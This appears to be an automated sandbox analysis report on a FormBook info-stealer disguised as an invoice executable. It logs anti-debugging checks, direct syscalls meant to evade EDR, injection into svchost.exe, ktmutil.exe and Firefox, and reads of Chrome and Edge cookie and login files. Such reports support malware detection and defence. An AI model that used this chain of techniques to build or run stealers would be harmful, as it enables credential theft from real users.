Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A9D0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A9D0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A649D0 mov eax, dword ptr fs:[00000030h] 4_2_03A649D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFA9D3 mov eax, dword ptr fs:[00000030h] 4_2_03AFA9D3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB892A mov eax, dword ptr fs:[00000030h] 4_2_03AB892A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC892B mov eax, dword ptr fs:[00000030h] 4_2_03AC892B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE908 mov eax, dword ptr fs:[00000030h] 4_2_03AAE908
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE908 mov eax, dword ptr fs:[00000030h] 4_2_03AAE908
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABC912 mov eax, dword ptr fs:[00000030h] 4_2_03ABC912
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A28918 mov eax, dword ptr fs:[00000030h] 4_2_03A28918
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A28918 mov eax, dword ptr fs:[00000030h] 4_2_03A28918
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A56962 mov eax, dword ptr fs:[00000030h] 4_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A56962 mov eax, dword ptr fs:[00000030h] 4_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A56962 mov eax, dword ptr fs:[00000030h] 4_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A7096E mov eax, dword ptr fs:[00000030h] 4_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A7096E mov edx, dword ptr fs:[00000030h] 4_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A7096E mov eax, dword ptr fs:[00000030h] 4_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD4978 mov eax, dword ptr fs:[00000030h] 4_2_03AD4978
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD4978 mov eax, dword ptr fs:[00000030h] 4_2_03AD4978
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABC97C mov eax, dword ptr fs:[00000030h] 4_2_03ABC97C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB0946 mov eax, dword ptr fs:[00000030h] 4_2_03AB0946
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30887 mov eax, dword ptr fs:[00000030h] 4_2_03A30887
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABC89D mov eax, dword ptr fs:[00000030h] 4_2_03ABC89D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFA8E4 mov eax, dword ptr fs:[00000030h] 4_2_03AFA8E4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6C8F9 mov eax, dword ptr fs:[00000030h] 4_2_03A6C8F9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6C8F9 mov eax, dword ptr fs:[00000030h] 4_2_03A6C8F9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E8C0 mov eax, dword ptr fs:[00000030h] 4_2_03A5E8C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A52835 mov eax, dword ptr fs:[00000030h] 4_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A52835 mov eax, dword ptr fs:[00000030h] 4_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A52835 mov eax, dword ptr fs:[00000030h] 4_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A52835 mov ecx, dword ptr fs:[00000030h] 4_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A52835 mov eax, dword ptr fs:[00000030h] 4_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A52835 mov eax, dword ptr fs:[00000030h] 4_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A830 mov eax, dword ptr fs:[00000030h] 4_2_03A6A830
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD483A mov eax, dword ptr fs:[00000030h] 4_2_03AD483A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD483A mov eax, dword ptr fs:[00000030h] 4_2_03AD483A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABC810 mov eax, dword ptr fs:[00000030h] 4_2_03ABC810
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABE872 mov eax, dword ptr fs:[00000030h] 4_2_03ABE872
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABE872 mov eax, dword ptr fs:[00000030h] 4_2_03ABE872
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC6870 mov eax, dword ptr fs:[00000030h] 4_2_03AC6870
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC6870 mov eax, dword ptr fs:[00000030h] 4_2_03AC6870
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A42840 mov ecx, dword ptr fs:[00000030h] 4_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A60854 mov eax, dword ptr fs:[00000030h] 4_2_03A60854
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A34859 mov eax, dword ptr fs:[00000030h] 4_2_03A34859
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A34859 mov eax, dword ptr fs:[00000030h] 4_2_03A34859
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6CF80 mov eax, dword ptr fs:[00000030h] 4_2_03A6CF80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A62F98 mov eax, dword ptr fs:[00000030h] 4_2_03A62F98
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A62F98 mov eax, dword ptr fs:[00000030h] 4_2_03A62F98
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4CFE0 mov eax, dword ptr fs:[00000030h] 4_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4CFE0 mov eax, dword ptr fs:[00000030h] 4_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A70FF6 mov eax, dword ptr fs:[00000030h] 4_2_03A70FF6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A70FF6 mov eax, dword ptr fs:[00000030h] 4_2_03A70FF6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A70FF6 mov eax, dword ptr fs:[00000030h] 4_2_03A70FF6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A70FF6 mov eax, dword ptr fs:[00000030h] 4_2_03A70FF6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04FE7 mov eax, dword ptr fs:[00000030h] 4_2_03B04FE7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE6FF7 mov eax, dword ptr fs:[00000030h] 4_2_03AE6FF7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32FC8 mov eax, dword ptr fs:[00000030h] 4_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32FC8 mov eax, dword ptr fs:[00000030h] 4_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32FC8 mov eax, dword ptr fs:[00000030h] 4_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32FC8 mov eax, dword ptr fs:[00000030h] 4_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2EFD8 mov eax, dword ptr fs:[00000030h] 4_2_03A2EFD8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2EFD8 mov eax, dword ptr fs:[00000030h] 4_2_03A2EFD8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2EFD8 mov eax, dword ptr fs:[00000030h] 4_2_03A2EFD8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5EF28 mov eax, dword ptr fs:[00000030h] 4_2_03A5EF28
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE6F00 mov eax, dword ptr fs:[00000030h] 4_2_03AE6F00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32F12 mov eax, dword ptr fs:[00000030h] 4_2_03A32F12
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6CF1F mov eax, dword ptr fs:[00000030h] 4_2_03A6CF1F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5AF69 mov eax, dword ptr fs:[00000030h] 4_2_03A5AF69
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5AF69 mov eax, dword ptr fs:[00000030h] 4_2_03A5AF69
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2F60 mov eax, dword ptr fs:[00000030h] 4_2_03AD2F60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2F60 mov eax, dword ptr fs:[00000030h] 4_2_03AD2F60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04F68 mov eax, dword ptr fs:[00000030h] 4_2_03B04F68
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB4F40 mov eax, dword ptr fs:[00000030h] 4_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB4F40 mov eax, dword ptr fs:[00000030h] 4_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB4F40 mov eax, dword ptr fs:[00000030h] 4_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB4F40 mov eax, dword ptr fs:[00000030h] 4_2_03AB4F40
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity, 2_2_0022A66C
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002181AC SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_002181AC
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00218189 SetUnhandledExceptionFilter, 2_2_00218189

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtResumeThread: Direct from: 0x773836AC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtMapViewOfSection: Direct from: 0x77382D1C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtWriteVirtualMemory: Direct from: 0x77382E3C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtProtectVirtualMemory: Direct from: 0x77382F9C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtSetInformationThread: Direct from: 0x773763F9 Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtCreateMutant: Direct from: 0x773835CC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtNotifyChangeKey: Direct from: 0x77383C2C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtTerminateProcess: Direct from: 0x77382D5C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtSetInformationProcess: Direct from: 0x77382C5C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtCreateUserProcess: Direct from: 0x7738371C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtQueryInformationProcess: Direct from: 0x77382C26 Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtResumeThread: Direct from: 0x77382FBC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtWriteVirtualMemory: Direct from: 0x7738490C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtAllocateVirtualMemory: Direct from: 0x77383C9C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtReadFile: Direct from: 0x77382ADC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtAllocateVirtualMemory: Direct from: 0x77382BFC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtDelayExecution: Direct from: 0x77382DDC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtQuerySystemInformation: Direct from: 0x77382DFC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtOpenSection: Direct from: 0x77382E0C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtQueryVolumeInformationFile: Direct from: 0x77382F2C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtQuerySystemInformation: Direct from: 0x773848CC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtReadVirtualMemory: Direct from: 0x77382E8C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtCreateKey: Direct from: 0x77382C6C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtAllocateVirtualMemory: Direct from: 0x773848EC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtQueryAttributesFile: Direct from: 0x77382E6C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtSetInformationThread: Direct from: 0x77382B4C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtTerminateThread: Direct from: 0x77382FCC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtQueryInformationToken: Direct from: 0x77382CAC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtOpenKeyEx: Direct from: 0x77382B9C Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtAllocateVirtualMemory: Direct from: 0x77382BEC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtDeviceIoControlFile: Direct from: 0x77382AEC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtCreateFile: Direct from: 0x77382FEC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtOpenFile: Direct from: 0x77382DCC Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe NtProtectVirtualMemory: Direct from: 0x77377B2E Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: NULL target: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: NULL target: C:\Windows\SysWOW64\ktmutil.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: NULL target: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: NULL target: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\ktmutil.exe Thread register set: target process: 4048 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\ktmutil.exe Thread APC queued: target process: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Memory written: C:\Windows\SysWOW64\svchost.exe base: 30DF008 Jump to behavior
Contains functionality to execute programs as a different user
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022B106 LogonUserW, 2_2_0022B106
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F3D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 2_2_001F3D19
Contains functionality to simulate keystroke presses
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023411C SendInput,keybd_event, 2_2_0023411C
Contains functionality to simulate mouse events
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002374BB mouse_event, 2_2_002374BB
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe" Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe" Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe" Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity, 2_2_0022A66C
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002371FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 2_2_002371FA
Source: tOxaspWNamv.exe, 00000008.00000002.3407307546.0000000001330000.00000002.00000001.00040000.00000000.sdmp, tOxaspWNamv.exe, 00000008.00000000.2409707120.0000000001330000.00000002.00000001.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3409760212.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: IProgram Manager
Source: ORIGINAL INVOICE COAU7230734290.exe, tOxaspWNamv.exe, 00000008.00000002.3407307546.0000000001330000.00000002.00000001.00040000.00000000.sdmp, tOxaspWNamv.exe, 00000008.00000000.2409707120.0000000001330000.00000002.00000001.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3409760212.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: tOxaspWNamv.exe, 00000008.00000002.3407307546.0000000001330000.00000002.00000001.00040000.00000000.sdmp, tOxaspWNamv.exe, 00000008.00000000.2409707120.0000000001330000.00000002.00000001.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3409760212.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: ORIGINAL INVOICE COAU7230734290.exe Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
Source: tOxaspWNamv.exe, 00000008.00000002.3407307546.0000000001330000.00000002.00000001.00040000.00000000.sdmp, tOxaspWNamv.exe, 00000008.00000000.2409707120.0000000001330000.00000002.00000001.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3409760212.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002165C4 cpuid 2_2_002165C4
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0024091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW, 2_2_0024091D
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0026B340 GetUserNameW, 2_2_0026B340
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00221E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte, 2_2_00221E8E
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo, 2_2_0020DDC0

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 4.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000E.00000002.3408793565.0000000000D80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2493193897.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2493863404.0000000005B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3397246670.0000000002780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2492860834.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.3409182554.0000000004790000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3409416368.0000000002E70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3409702511.0000000002EC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\ktmutil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
